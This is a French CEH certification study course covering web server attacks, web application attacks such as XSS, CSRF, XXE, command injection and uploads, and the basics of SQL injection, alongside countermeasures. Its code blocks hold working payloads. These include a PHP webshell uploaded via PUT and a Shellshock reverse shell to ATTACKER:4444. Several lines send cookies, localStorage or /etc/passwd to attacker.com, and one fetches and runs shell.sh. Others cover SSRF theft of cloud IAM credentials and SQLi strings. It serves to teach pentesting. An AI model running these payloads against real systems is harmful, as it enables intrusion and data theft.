Expert - EC-Council CEH

10

Hacking de Serveurs Web

Apache/IIS, configuration, attaques serveur, déflation, DDoS applicatif

▼

✓ Architecture serveurs web : Apache, Nginx, IIS — architecture et modules Facile
✓ Vulnérabilités serveur : misconfigurations, patches obsolètes Moyen
✓ Attaques par déflation : Directory Traversal (LFI/RFI) Moyen
✓ Server-Side Request Forgery (SSRF) Difficile
✓ Remote Code Execution (RCE) via serveur web Difficile
✓ Enumeración de virtual hosts et hidden content Moyen
✓ HTTP Methods dangereux : PUT, DELETE, CONNECT, TRACE Moyen
✓ Nikto, WhatWeb, WAF detection et bypass Moyen

🔍 Architecture des Serveurs Web Modernes

Un serveur web est un logiciel qui traite les requêtes HTTP/HTTPS et renvoie les réponses au client. La compréhension de l'architecture interne est fondamentale pour identifier les vecteurs d'attaque. Les trois principaux serveurs web — Apache, Nginx et IIS — ont des comportements très différents en termes de gestion des modules, des virtual hosts et des fichiers de configuration.

Pourquoi c'est important : Confondre .htaccess Apache et centralisation Nginx fait rater des virtual hosts cachés : l'audit doit viser chaque technologie avec sa méthode d'énumération.

L'analogie qui aide : Trois immeubles : Apache à clés par étage (.htaccess), Nginx à concierge central unique, IIS à pools isolés comme des cages d'escalier séparées.

Apache HTTP Server : Module architecture avec mod_rewrite, mod_proxy, mod_security. La configuration se fait via .htaccess (par répertoire) et httpd.conf (global). Les virtual hosts sont définis dans extra/httpd-vhosts.conf. Le module mod_php exécute le PHP directement dans le processus Apache.
Nginx : Architecture event-driven (asynchrone), bien plus performante sous charge. Pas de .htaccess — toute la configuration est centralisée. Les locations et upstreams définissent le routage. Le PHP est généralement traité via FastCGI (php-fpm). Nginx est souvent utilisé comme reverse proxy devant Apache.
Microsoft IIS : Serveur web intégré à Windows Server. Les pools d'applications isolent les sites. Les handlers (ISAPI, FastCGI) traitent les extensions spécifiques. La configuration est dans web.config (XML). Le module URL Rewrite équivaut à mod_rewrite Apache.
Virtual Hosting : Permet d'héberger plusieurs sites sur un seul serveur/IP. Virtual Name-based : le serveur détermine le site via le header Host. Virtual IP-based : chaque site a une IP dédiée. L'exploitation consiste à accéder à un autre virtual host en devinant le nom ou en utilisant l'IP directe.

# Apache - Configuration de virtual hosts
<VirtualHost *:80>
    ServerName www.example.com
    DocumentRoot /var/www/example
    <Directory /var/www/example>
        AllowOverride All
    </Directory>
</VirtualHost>

# Nginx - Reverse proxy config
location /api/ {
    proxy_pass http://127.0.0.1:8080/;
    proxy_set_header Host $host;
}

# IIS - web.config handler mapping
<system.webServer>
    <handlers>
        <add name="PHP-FastCGI" path="*.php"
             modules="FastCgiModule"
             scriptProcessor="C:\php\php-cgi.exe" />
    </handlers>
</system.webServer>

Démonstration pas à pas : Déroulé : inspectez httpd.conf et extra/httpd-vhosts.conf (Apache, AllowOverride All), puis location /api/ avec proxy_pass (Nginx reverse proxy), puis web.config handlers FastCGI (IIS). Testez l'isolation des pools : deux sites dans le même pool se compromettent ensemble.

Point clé examen CEH : En environment Windows, IIS utilise les pools d'applications (Application Pool) pour isoler les sites. Si deux sites partagent le même pool, une compromise d'un site peut impacter l'autre. Vérifiez toujours la séparation des pools lors du pentest.

Pièges classiques : Piège CEH : chercher .htaccess sous Nginx. Nginx l'ignore, tout est centralisé. Erreur : croire que le header Host est anodin (il sélectionne le virtual host).

À vous de jouer : Où chercher les virtual hosts Apache ?

Voir la réponse

Dans extra/httpd-vhosts.conf et les .htaccess : ils définissent ServerName et DocumentRoot à énumérer ensuite par gobuster vhost.

🔍 Misconfigurations et HTTP Methods Dangereuses

Les misconfigurations de serveurs web constituent l'une des vecteurs d'attaque les plus courants. Un serveur dont la version est exposée, qui exécute des modules non nécessaires, ou qui autorise des méthodes HTTP dangereuses offre une surface d'attaque considérable. Les HTTP methods (PUT, DELETE, TRACE, CONNECT, OPTIONS) doivent être strictement contrôlées.

Pourquoi c'est important : Un PUT autorisé permet de déposer une webshell en une requête : c'est le finding critique qui fait corriger OPTIONS, TRACE et les bannières en urgence.

L'analogie qui aide : Laisser la porte de service ouverte (PUT pour déposer, DELETE pour jeter, TRACE pour espionner, CONNECT pour creuser un tunnel) avec l'inventaire affiché (OPTIONS).

Serveurs obsolètes et exposés : Les serveurs non patchés exposent des CVE connues. Apache 2.4.49 est vulnérable à un path traversal (CVE-2021-41773). Les en-têtes Server et X-Powered-By révèlent la version exacte.
HTTP PUT : Permet d'uploader des fichiers directement sur le serveur. Si autorisé, un attaquant peut déposer une webshell sur le serveur.
HTTP DELETE : Permet la suppression de ressources. Un attaquant peut supprimer des fichiers critiques ou corrompre l'application.
HTTP TRACE : Renvoie la requête complète au client. Vulnérable à l'attaque Cross-Site Tracing (XST) qui peut intercepter les cookies HttpOnly via du JavaScript.
HTTP CONNECT : Utilisé pour établir des tunnels HTTPS à travers un proxy. Un attaquant peut l'utiliser pour pivoter vers l'interne.
OPTIONS : Liste toutes les méthodes supportées. C'est le premier point de reconnaissance — il révèle les méthodes activées.

# Vérifier les méthodes HTTP autorisées
curl -X OPTIONS http://target.com/ -v

# Tenter d'uploader un fichier avec PUT
curl -X PUT http://target.com/uploads/shell.php -d "<?php system($_GET['cmd']); ?>"

# Test de TRACE (Cross-Site Tracing)
curl -X TRACE http://target.com/ -v

# Désactiver les méthodes dangereuses Apache (.htaccess)
RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^(PUT|DELETE|TRACE|CONNECT) $
RewriteRule .* - [F]

Démonstration pas à pas : Déroulé : curl -X OPTIONS http://target.com/ -v (liste les méthodes). Puis curl -X PUT http://target.com/uploads/shell.php -d "code" (tente le dépôt). Puis curl -X TRACE -v (teste XST). Corrigez sous Apache avec RewriteCond sur REQUEST_METHOD PUT, DELETE, TRACE et CONNECT vers [F]. Apache 2.4.49 (CVE-2021-41773) illustre le serveur obsolète exposé.

Point clé examen CEH : L'attaque PUT consiste à uploader une webshell sur un serveur autorisant cette méthode. La commande curl -X PUT avec un payload PHP est l'approche standard. Vérifiez toujours OPTIONS en premier lors du recon d'un serveur web.

Pièges classiques : Piège CEH : tester PUT sans avoir fait OPTIONS. OPTIONS révèle d'abord la surface. Erreur : croire que TRACE est inoffensif (il vole via XST même avec HttpOnly faible).

À vous de jouer : Quelle première commande face à un serveur web ?

Voir la réponse

curl -X OPTIONS -v : elle révèle les méthodes activées avant tout test d'upload ou de tracing autorisé.

🔍 Path Traversal, LFI, RFI et SSRF

Les attaques par inclusion de fichiers exploitent la capacité d'un serveur web à inclure des fichiers basés sur une entrée utilisateur non validée. Le Directory/Path Traversal utilise les séquences ../ pour accéder à des fichiers en dehors du répertoire racine. L'inclusion peut être locale (LFI) ou distante (RFI).

Pourquoi c'est important : Un ../../ mal filtré lit /etc/passwd, un wrapper php://filter vole le code source, un SSRF atteint les métadonnées cloud : trois impacts critiques d'une même entrée.

L'analogie qui aide : Glisser ../ dans l'adresse d'un casier pour remonter aux archives (traversal), demander la photocopie encodée (php://filter), faire commander par le gardien lui-même (SSRF).

Path Traversal classique : Utilisation de ../ pour remonter les répertoires. L'encodage double (%252f) ou Unicode (%c0%af) peut contourner les filtres basiques.
LFI (Local File Inclusion) : Inclusion d'un fichier local via un paramètre vulnérable. Les wrappers PHP permettent des attaques avancées : php://filter/convert.base64-encode/resource=index.php pour lire le code source encodé en base64.
RFI (Remote File Inclusion) : Inclusion d'un fichier distant hébergé par l'attaquant. Nécessite allow_url_include=On dans php.ini. L'attaquant héberge un reverse shell PHP et l'inclut via l'URL.
SSRF (Server-Side Request Forgery) : L'application fait une requête HTTP contrôlée par l'attaquant. Permet d'atteindre les services internes non exposés (127.0.0.1, 169.254.169.254 pour les métadonnées cloud, bases de données internes). Le Gopher protocol peut être utilisé pour interagir avec des services non-HTTP.
Bypass de filtres LFI : Null byte (%00) sur PHP 5.x, double encoding, path truncation (./././.../.../etc/passwd), wrappers PHP (php://input avec POST data).

# Path Traversal — accès à /etc/passwd
curl "http://target.com/page.php?file=../../../../etc/passwd"

# LFI avec wrapper PHP — lecture du code source
curl "http://target.com/page.php?file=php://filter/convert.base64-encode/resource=index.php"

# LFI avec php://input (POST data exécuté comme PHP)
curl -X POST "http://target.com/page.php?file=php://input" -d "<?php system('id'); ?>"

# RFI — inclusion d'un shell distant
curl "http://target.com/page.php?file=http://attacker.com/shell.txt"

# SSRF — accès aux métadonnées AWS
curl "http://target.com/api?url=http://169.254.169.254/latest/meta-data/"

# SSRF interne — scan de ports locaux
curl "http://target.com/proxy?host=http://127.0.0.1:3306"

Démonstration pas à pas : Déroulé : curl "http://target.com/page.php?file=../../../../etc/passwd" (remontée). Puis file=php://filter/convert.base64-encode/resource=index.php (lit le source encodé). Puis file=http://attacker.com/shell.txt (RFI si allow_url_include On). Puis api?url=http://169.254.169.254/latest/meta-data/ (SSRF vers IMDS, IMDSv2 exigeant un token PUT).

Point clé examen CEH : Le SSRF est un vecteur critique en cloud. En exploitant un endpoint SSRF, on peut accéder aux métadonnées AWS (IMDSv1 via http://169.254.169.254/latest/meta-data/iam/security-credentials/) pour voler les credentials IAM. IMDSv2 exige un token HTTP header (PUT + X-aws-ec2-metadata-token-ttl-seconds).

Pièges classiques : Piège CEH : confondre LFI (local) et RFI (distant, allow_url_include). Erreur : oublier le double encodage %252f ou %c0%af contre les filtres naïfs.

À vous de jouer : Pourquoi php://filter est-il redoutable ?

Voir la réponse

Parce qu'il lit le code PHP sans l'exécuter, en base64 : il expose mots de passe et clés avant toute RCE.

🔍 RCE via Upload et Énumération

La Remote Code Execution (RCE) via serveur web est l'aboutissement le plus critique d'une attaque. Elle peut être obtenue par un upload de webshell, l'exploitation de CGI, ou la manipulation d'environnements. L'énumération est l'étape préliminaire essentielle qui révèle la structure du serveur, les virtual hosts cachés et les contenus sensibles.

Pourquoi c'est important : Un upload mal filtré devient RCE en production : double extension ou magic bytes suffisent, puis gobuster révèle les dépôts oubliés à nettoyer.

L'analogie qui aide : Déposer un colis piégé au vestiaire (upload), repeindre l'étiquette (.jpg.php), ajouter un faux tampon (magic bytes JPEG) puis retrouver le casier oublié (gobuster, robots.txt).

Upload de Webshell : Upload d'un fichier PHP/JSP/ASP contenant un reverse shell. Les bypass courants : double extension (.jpg.php), modification des magic bytes (ajout du header JPEG au début du fichier PHP), null byte (.php%00.jpg), upload via PUT.
CGI Exploitation : Sur Apache mod_cgi, si le répertoire /cgi-bin/ est accessible, un shell bash peut être injecté via les headers HTTP (User-Agent: () { :;}; echo; /bin/bash -i >& /dev/tcp/ATTACKER/4444 0>&1).
Énumération Virtual Hosts : gobuster vhost -u http://target.com -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 50. Révèle des sites hébergés sur la même IP (admin.internal, staging.example.com).
Énumération de contenu caché : gobuster dir -u http://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html -t 100. Détecte les répertoires et fichiers non liés.
Robots.txt : Fichier standard indiquant les chemins à ne pas crawler. Souvent source de répertoires sensibles (/admin, /backup, /config).

# Gobuster — énumération de virtual hosts
gobuster vhost -u http://target.com -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 50

# Gobuster — énumération de répertoires
gobuster dir -u http://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html -t 100

# Nikto — scan de vulnérabilités serveur web
nikto -h http://target.com -o nikto_report.html

# WhatWeb — identification de technologies
whatweb http://target.com -v

# wafw00f — détection de WAF
wafw00f http://target.com

# WPScan — scan WordPress
wpscan --url http://target.com --enumerate vp,vt,u

Démonstration pas à pas : Déroulé : printf '\xff\xd8\xff\xe0' > shell.php.jpg puis ajoutez le PHP system, uploadez via le formulaire autorisé. Énumérez avec gobuster dir -u URL -w directory-list-2.3-medium.txt -x php,txt,html -t 100 et gobuster vhost pour les hosts. Complétez avec nikto -h, whatweb -v, wafw00f et robots.txt.

Point clé examen CEH : L'outil gobuster vhost utilise le même principe que dir mais teste des noms d'hôtes virtuels via le header Host. Combinez gobuster vhost et gobuster dir pour une énumération complète. Nikto est le scanner de vulnérabilités le plus ancien mais reste utile pour les misconfigurations connues.

Pièges classiques : Piège CEH : croire que l'extension suffit comme défense. Il faut type MIME réel, randomisation et exécution désactivée. Erreur : confondre gobuster dir (contenu) et vhost (hosts via header Host).

À vous de jouer : Que vérifier après un upload accepté ?

Voir la réponse

Si le fichier est exécutable et accessible (MIME, droits, .htaccess) : un accès direct qui exécute signe la RCE à corriger.

11

Hacking d'Applications Web

XSS, CSRF, SSRF, XXE, upload malveillant, sessions

▼

✓ Cross-Site Scripting (XSS) : stored, reflected, DOM-based Moyen
✓ Cross-Site Request Forgery (CSRF) : tokens, SameSite Moyen
✓ XML External Entity (XXE) : lecture de fichiers, SSRF Difficile
✓ Upload malveillant : bypass d'extensions, webshells Moyen
✓ Session hijacking : fixation, token stealing, cookie manipulation Moyen
✓ Injection de commandes OS (Command Injection) Difficile
✓ Injection de Bibliothèques (LDAP, XPath, NoSQL injection) Difficile
✓ Business Logic Flaws : abus de fonctionnalités métier Difficile
✓ OWASP Top 10 — Analyse et exploitation de chaque vecteur Moyen
✓ Burp Suite : intercept, Repeater, Intruder, Scanner Moyen

🔍 OWASP Top 10 — Analyse Complète des Vecteurs

L'OWASP Top 10 est la liste de référence des risques de sécurité les plus critiques pour les applications web. Chaque catégorie représente un vecteur d'attaque distinct avec ses propres mécanismes d'exploitation. Un test de pénétration efficace doit couvrir systématiquement chaque vecteur lors de la phase d'analyse.

Pourquoi c'est important : Le Top 10 2021 hiérarchise l'audit : Broken Access Control en A01 passe avant tout, et A04 ou A08 n'existaient pas en 2017. Le rapport suit cet ordre pour être actionnable.

L'analogie qui aide : Le palmarès annuel des cambriolages : vol par mauvaise serrure (A01 accès), coffre en carton (A02 crypto), injection par la cheminée (A03), maison mal conçue (A04).

A01 Broken Access Control : Le risque le plus critique. Un utilisateur accède à des ressources non autorisées via manipulation d'identifiants (IDOR), élévation de privilèges (change ?id=2 en ?id=1 pour accéder au compte admin), ou contournement des contrôles d'accès côté client. Impact : accès à des données sensibles, modification non autorisée.
A02 Cryptographic Failures : Données sensibles transmises ou stockées en clair (MD5 pour les mots de passe, HTTP au lieu de HTTPS), clés de chiffrement exposées dans le code source, algorithmes obsolètes (DES, RC4). Impact : divulgation de données sensibles, credentials interceptés.
A03 Injection : Injection SQL, LDAP, XPath, OS command injection. L'entrée utilisateur est intégrée dans une requête ou une commande sans validation. Le payload de l'attaquant modifie le comportement attendu. Impact : exécution de code, accès aux données, destruction de données.
A04 Insecure Design : Vulnérabilités au niveau de l'architecture et de la conception, pas de la mise en œuvre. Absence de threat modeling, business logic flaws (prix négatif, changement de quantité après paiement). Impact : perte financière, contournement de workflows métier.
A05 Security Misconfiguration : Configuration par défaut non modifiée, messages d'erreur détaillés exposant l'architecture, ports/services inutiles ouverts, droits trop permissifs. Impact : information disclosure, surface d'attaque élargie.
A06 Vulnerable and Outdated Components : Utilisation de bibliothèques/frameworks avec des CVE connues. Exemples : Log4j (Log4Shell), OpenSSL Heartbleed, jQuery XSS. Impact : exploitation directe de vulnérabilités connues.
A07 Identification and Authentication Failures : Force brute non contrôlée, credentials par défaut, session fixation, cookies non sécurisés (sans HttpOnly, sans Secure). Impact : compromission de comptes utilisateurs.
A08 Software and Data Integrity Failures : Attaques sur la chaîne d'approvisionnement (supply chain), CI/CD pipeline compromis, auto-updates non signés. Impact : injection de code malveillant dans le logiciel distribué.
A09 Security Logging and Monitoring Failures : Absence de logs ou de monitoring permettant de détecter les attaques. Les attaquants peuvent opérer longtemps sans être détectés.
A10 Server-Side Request Forgery (SSRF) : Requêtes serveur contrôlées par l'attaquant. Permet d'accéder à des services internes, aux métadonnées cloud, ou de lancer des attaques pivot. Impact : accès aux données internes, RCE dans certains cas.

# Identifier les failles OWASP via Nikto
nikto -h http://target.com -Tuning 1234567890abc

# Scanner automatisé OWASP avec OWASP ZAP (CLI)
zap-cli quick-scan -s all -r http://target.com

# Test IDOR — modification de l'ID utilisateur
curl "http://target.com/api/users/1001" → réponse OK
curl "http://target.com/api/users/1002" → réponse OK (faille IDOR)

# Vérifier les headers de sécurité manquants
curl -I http://target.com/ | grep -i "x-frame-options\|strict-transport\|x-content-type"

Démonstration pas à pas : Déroulé : testez IDOR avec curl "/api/users/1001" puis 1002 (deux OK = faille A01). Vérifiez les headers avec curl -I | grep -i "x-frame-options\|strict-transport" (A05). Scannez avec nikto -h -Tuning et zap-cli quick-scan -s all pour couvrir A01 à A10 dont SSRF.

Point clé examen CEH : L'OWASP Top 10 est révisé tous les 3-4 ans. La version 2021 ajoute A04 (Insecure Design) et A08 (Integrity Failures) qui n'existaient pas dans la version 2017. Le mot de passe "Broken Access Control" remplace "Injection" en A01, soulignant que les failles d'accès sont désormais considérées comme le risque majeur.

Pièges classiques : Piège CEH : réciter le Top 10 2017. En 2021, A01 est Broken Access Control (pas Injection) avec A04 Insecure Design et A08 Integrity Failures nouveaux. Erreur : confondre A03 Injection et A07 Auth Failures.

À vous de jouer : Quelle nouveauté 2021 piège le plus ?

Voir la réponse

A04 Insecure Design et A08 Integrity Failures (supply chain) : absents en 2017, ils sanctionnent l'architecture, pas seulement le code.

🔍 Cross-Site Scripting (XSS) — Types et Exploitation

Le XSS est une injection de code dans le navigateur de la victime. L'attaquant insère du JavaScript malveillant qui s'exécute dans le contexte d'une session légitime. Trois variantes existent selon la manière dont le payload est injecté et exécuté.

Pourquoi c'est important : Un stored XSS sur un forum compromet chaque visiteur sans clic : le SOC doit imposer CSP et HttpOnly plutôt que de simples filtres de mots.

L'analogie qui aide : Glisser un mot dans un mégaphone (reflected, il faut cliquer), graver sur le mur du hall (stored, tout le monde le lit), truquer le miroir lui-même (DOM, côté client seul).

XSS Réfléchi (Reflected) : Le payload est inclus dans l'URL ou un paramètre et renvoyé dans la réponse sans échappement. La victime doit cliquer sur un lien malveillant. Exemple : http://target.com/search?q=<script>stealCookie()</script>. Utilisé dans les campagnes de phishing ciblé.
XSS Persistant (Stored) : Le payload est stocké dans la base de données (forum, commentaire, profil). Il s'exécute pour chaque utilisateur qui affiche la page. Impact maximal car les victimes n'ont pas besoin d'interagir avec un lien. Exemple : injection dans un message de forum.
XSS DOM-based : Le payload manipule le DOM directement côté client via JavaScript. La charge ne passe jamais par le serveur. Exemple : document.location.hash détecté et inséré via innerHTML. Les outils serveur ne le détectent pas.
Charge et impact : Vol de cookies HttpOnly impossible si Secure+HttpOnly, mais le keylogging, le redirect vers un site de phishing, le clipboard hijacking, ou le crypto-mining sont réalisables. Le payload peut aussi effectuer des requêtes API au nom de l'utilisateur (CSRF combo).
Bypass de filtres XSS : Encodage HTML entity (<script>), SVG onload, event handlers onMouseOver,javascript: protocol dans les href, double encoding, encoding en Base64. Les filtres serveur sont souvent contournables.

# XSS Réfléchi — vol de cookie via webhook
http://target.com/search?q=<script>document.location='http://attacker.com/steal?c='+document.cookie</script>

# XSS Persistant — injection dans un champ de profil
<img src=x onerror="fetch('http://attacker.com/log?data='+localStorage)">

# XSS DOM-based — manipulation via hash URL
http://target.com/page#<img src=x onerror="alert(document.domain)">

# Payload alternatif sans balises script
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<details open ontoggle=alert(1)>

Démonstration pas à pas : Déroulé : reflected via search?q=charge qui vole vers attacker.com/steal?c=+document.cookie. Puis stored avec

dans un profil. Puis DOM via hash injecté dans innerHTML. Alternatives sans script : , ,

.

Point clé examen CEH : Le XSS est considéré comme la faille web la plus répandue. Pour les examens CEH, retenez les trois types et leurs différences : le Reflected nécessite une interaction de la victime (clic sur lien), le Stored est persistant et automatique, le DOM-based est purement client-side. Le header Content-Security-Policy (CSP) est la contre-mesure la plus efficace.

Pièges classiques : Piège CEH : dire que HttpOnly suffit. Il protège le cookie mais pas keylogging ni actions API. Erreur : écrire un payload avec une chaîne littérale qui casse le HTML (échappez en entités ou Base64).

À vous de jouer : Quelle différence guide le test ?

Voir la réponse

Reflected exige un clic, stored s'exécute à chaque affichage, DOM ne passe jamais par le serveur et échappe aux WAF serveur.

🔍 CSRF, XXE et Command Injection

Ces trois vecteurs exploitent des mécanismes différents pour compromettre une application web. Le CSRF abuse de la confiance du navigateur envers un site, le XXE exploite le traitement des entrées XML, et l'injection de commandes OS permet l'exécution directe de code sur le serveur.

Pourquoi c'est important : CSRF vole l'action, XXE vole les fichiers, command injection donne le shell : trois entrées différentes que le même audit Burp doit couvrir systématiquement.

L'analogie qui aide : Faire signer un chèque à votre place (CSRF, navigateur complice), glisser une consigne lue par le bibliothécaire (XXE, entité externe) ou ajouter une phrase à son ordre (commande, séparateur ;).

CSRF (Cross-Site Request Forgery) : L'attaquant envoie à une victime authentifiée un formulaire ou un lien qui déclenche une action non voulue (transfert bancaire, changement de mot de passe). Le navigateur envoie automatiquement les cookies de session. Contre-mesures : tokens CSRF aléatoires liés à la session, SameSite=Strict sur les cookies, vérification du header Origin/Referer.
XXE (XML External Entity) : Lorsqu'un serveur traite une entrée XML sans désactiver les entités externes, l'attaquant peut lire des fichiers locaux ou provoquer un SSRF. Exemple : <!ENTITY xxe SYSTEM "file:///etc/passwd"> puis utilisation de &xxe; dans le body XML. Blind XXE combine l'exfiltration via DNS ou HTTP externe.
Command Injection : Si l'application exécute une commande OS basée sur une entrée utilisateur, l'attaquant peut injecter du code via les séparateurs ; (point-virgule), && (ET logique), | (pipe), || (OU logique), $(commande) (substitution). Impact : exécution de code complet sur le serveur.
NoSQL Injection : MongoDB utilise des opérateurs JSON comme $ne (not equal) et $gt (greater than). Payload : {"username": {"$ne": ""}, "password": {"$ne": ""}} contourne l'authentification. Blind NoSQLi : "$gt"="" retourne vrai pour toute valeur, "$regex"="^a" teste caractère par caractère.
LDAP Injection : Si l'entrée utilisateur est injectée dans une requête LDAP sans échappement, l'attaquant peut modifier la logique de recherche. Exemple : *)(uid=*))(|(uid=* injecte un filtre qui retourne tous les résultats.

# CSRF — formulaire de transfert automatique
<form method="POST" action="http://target.com/transfer">
    <input type="hidden" name="to" value="attacker_account">
    <input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit()</script>

# XXE — lecture de /etc/passwd
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>&xxe;</user>

# Command Injection — exfiltration de données
; cat /etc/passwd | curl -X POST http://attacker.com/data -d @-
$(wget http://attacker.com/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh)

Démonstration pas à pas : Déroulé : CSRF avec form POST vers /transfer (to plus amount) auto-submit. Puis XXE avec appelée par &xxe; dans . Puis commande avec ; cat /etc/passwd | curl -X POST --data-binary @- et $(wget shell.sh -O /tmp/shell.sh). Protégez par token CSRF, SameSite Strict et libxml_disable_entity_loader.

Point clé examen CEH : Le XXE est testé en injectant un payload XML dans les API REST, les fichiers uploadés (SVG, DOCX), ou les webhooks. La désactivation des entités externes (libxml_disable_entity_loader(true) en PHP) est la protection. Pour le Command Injection, le pipe | est le séparateur le plus testé car il redirige la sortie.

Pièges classiques : Piège CEH : confondre CSRF (action non voulue) et XSS (script exécuté). Erreur : tester XXE sans désactiver les entités côté lab (faux négatif).

À vous de jouer : Quel séparateur tester en premier en command injection ?

Voir la réponse

Le pipe et le point-virgule (; , | , &&) : ils enchaînent directement la commande du serveur, le pipe étant le plus testé au CEH.

🔍 Upload Malveillant, Sessions et Burp Suite

L'upload de fichiers malveillants constitue une porte d'entrée directe vers l'exécution de code sur le serveur. Les attaques de session visent à détourner l'identité d'un utilisateur authentifié. Burp Suite est l'outil de référence pour intercepter, modifier et automatiser les requêtes HTTP lors d'un pentest web.

Pourquoi c'est important : Burp Repeater prouve chaque faille en rejouant la requête modifiée, Intruder brute-force proprement : sans proxy d'interception, l'audit web reste déclaratif.

L'analogie qui aide : Un douanier qui ouvre chaque colis (proxy), rejoue la fouille à volonté (Repeater) puis teste mille clés automatiquement (Intruder) au lieu de croire l'étiquette.

Bypass d'extensions : Les serveurs filtrent parfois uniquement l'extension. Techniques de contournement : double extension (.php.jpg), extension alternative (.phtml, .php5, .php7), null byte (.php%00.jpg — PHP 5.x), upload via PUT, magic bytes falsifiés (ajout du header JPEG FFD8FF au début d'un fichier PHP).
Webshells : Fichiers PHP/ASP/JSP contenant un interpréteur de commandes. Exemples : <?php system($_GET['cmd']); ?>, . Des webshells avancées (weevely, c99) offrent une interface complète avec gestion de fichiers, bases de données et reverse shells.
Session Hijacking : Vol de cookies via XSS (document.cookie), session fixation (forcer un ID de session connu avant l'authentification), prédiction de token de session (si le PRNG est faible). Le cookie de session doit être régénéré après login (session_regenerate_id()), avoir les attributs HttpOnly et Secure.
Business Logic Flaws : Abus de la logique métier : prix négatif (acheter en quantité négative pour créditer le compte), champ caché modifié (modifier le prix dans le HTML), suppression d'étapes dans un workflow (passer l'étape de paiement). Ces flaws ne sont pas détectés par les scanners automatiques.
Burp Suite : Proxy d'interception pour manipuler les requêtes HTTP. Repeater : relance manuelle de requêtes modifiées. Intruder : attaques automatisées (brute force, fuzzing). Scanner : analyse automatisée de vulnérabilités. Comparer les réponses entre requêtes légitime et modifiée est la base de l'analyse.

# Upload de webshell avec bypass
# Étape 1 : Créer un fichier PHP avec header JPEG
printf '\xff\xd8\xff\xe0' > shell.php.jpg
echo '<?php system($_GET["cmd"]); ?>' >> shell.php.jpg

# Burp Intruder — brute force login POST
# Configurer les positions : ^USER^ et ^PASS^
# Payloads : wordlist pour username, rockyou pour password
# Grep Match : "Welcome" (succès) vs "Invalid" (échec)

# Burp Repeater — tester une injection
# Modifier le paramètre dans Repeater
# Observer la différence de réponse (taille, contenu, code HTTP)

# Session fixation — forcer un session ID
curl -c "PHPSESSID=attacker_known_session_id" http://target.com/login
# La victime utilise ce cookie → session hijack

Démonstration pas à pas : Déroulé : créez shell.php.jpg avec header JPEG puis webshell system($_GET["cmd"]). Testez fixation avec curl -c "PHPSESSID=id_connu" sur /login. Dans Burp : positions ^USER^ et ^PASS^, wordlists, Grep Match Welcome contre Invalid. Les business logic (prix négatif, étape sautée) se testent à la main car réponse 200 valide.

Point clé examen CEH : Burp Suite Community Edition est l'outil indispensable du pentester web. L'édition Pro ajoute le Scanner automatisé et l'Intruder débridé. Retenez que les Business Logic Flaws nécessitent une analyse manuelle — aucun scanner ne les détecte car ils sont techniquement valides (réponses HTTP 200).

Pièges classiques : Piège CEH : croire que le scanner trouve les business logic flaws. Seul le manuel les voit. Erreur : Community sans scanner automatisé confondue avec Pro.

À vous de jouer : Pourquoi régénérer la session après login ?

Voir la réponse

Contre la fixation : session_regenerate_id plus HttpOnly et Secure empêche la réutilisation d'un ID imposé avant auth.

12

Injection SQL

SQLi classique, blind, union-based, time-based, outils automatisés

▼

✓ Principe de l'injection SQL : mécanismes et types de BDD Moyen
✓ In-bande SQLi : UNION-based, error-based Moyen
✓ Blind SQLi : boolean-based, time-based, out-of-band Difficile
✓ SQLmap : automatisation complète du pentest SQL Moyen
✓ Injection sur UPDATE, INSERT, DELETE, ORDER BY Difficile
✓ NoSQL Injection : MongoDB, CouchDB Difficile
✓ Contre-mesures : requêtes paramétrées, ORM, WAF rules Moyen
✓ Challenges pratiques : portail d'entraînement SQLi Difficile

🔍 Principe de l'Injection SQL et Types de BDD

L'injection SQL est une faille qui survient lorsqu'une entrée utilisateur est concaténée directement dans une requête SQL sans requête paramétrée. L'attaquant modifie la logique de la requête pour accéder, modifier ou supprimer des données. Chaque système de gestion de bases de données (SGBD) a des particularités syntaxiques qui influencent l'exploitation.

Pourquoi c'est important : Un simple apostrophe qui provoque une erreur SQL signe la piste la plus rentable de l'audit : chaque SGBD (MySQL, MSSQL, Oracle) donne ensuite sa syntaxe d'extraction.

L'analogie qui aide : Glisser une apostrophe dans une serrure à code : si elle se bloque (erreur), c'est qu'elle interprète votre entrée comme un ordre, pas comme un texte.

Mécanisme fondamental : La concaténation non sécurisée ('$query = "SELECT * FROM users WHERE id='$id'";') permet à l'attaquant de fermer la chaîne et d'injecter du SQL arbitraire. Le signe ' ferme la chaîne, -- commente la fin de la requête.
MySQL : Utilise -- pour commenter, LIMIT 1 pour limiter les résultats, GROUP_CONCAT() pour agréger les résultats en une seule ligne, information_schema.tables pour énumérer les tables. La fonction LOAD_FILE() peut lire des fichiers si le serveur MySQL a les permissions.
Microsoft SQL Server (MSSQL) : Utilise ; pour séparer les requêtes (batching), UNION ALL pour combiner les résultats, xp_cmdshell pour exécuter des commandes OS (nécessite des privilèges admin), OPENROWSET pour lire des fichiers distants.
PostgreSQL : Utilise $$ pour les délimiteurs de chaîne, pg_read_file() pour lire des fichiers, COPY pour écrire des fichiers, dblink pour les connexions distantes. Le séparateur de commentaires est -- (avec un espace après).
Oracle : Utilise UNION SELECT FROM DUAL pour les requêtes sans table, all_tables pour l'énumération, UTL_HTTP pour les requêtes sortantes (out-of-band). Le séparateur de commentaires est -- (deux tirets + espace).

# Détection — test d'injection SQL
' OR '1'='1
' OR '1'='1'--
" OR "1"="1
1' AND 1=1--          (vrai)
1' AND 1=2--          (faux)
1' AND SLEEP(5)--     (vrai si temps de réponse augmente)

# Extraction version MySQL
' UNION SELECT NULL, version(), NULL--

# Extraction noms de tables MySQL
' UNION SELECT NULL, GROUP_CONCAT(table_name), NULL
FROM information_schema.tables
WHERE table_schema=database()--

Démonstration pas à pas : Déroulé : testez ' OR '1'='1 puis 1' AND 1=1-- (vrai) contre 1' AND 1=2-- (faux) et 1' AND SLEEP(5)-- (temps). Puis MySQL : ' UNION SELECT NULL, version(), NULL-- puis GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database(). Points : GET, POST, cookies, headers.

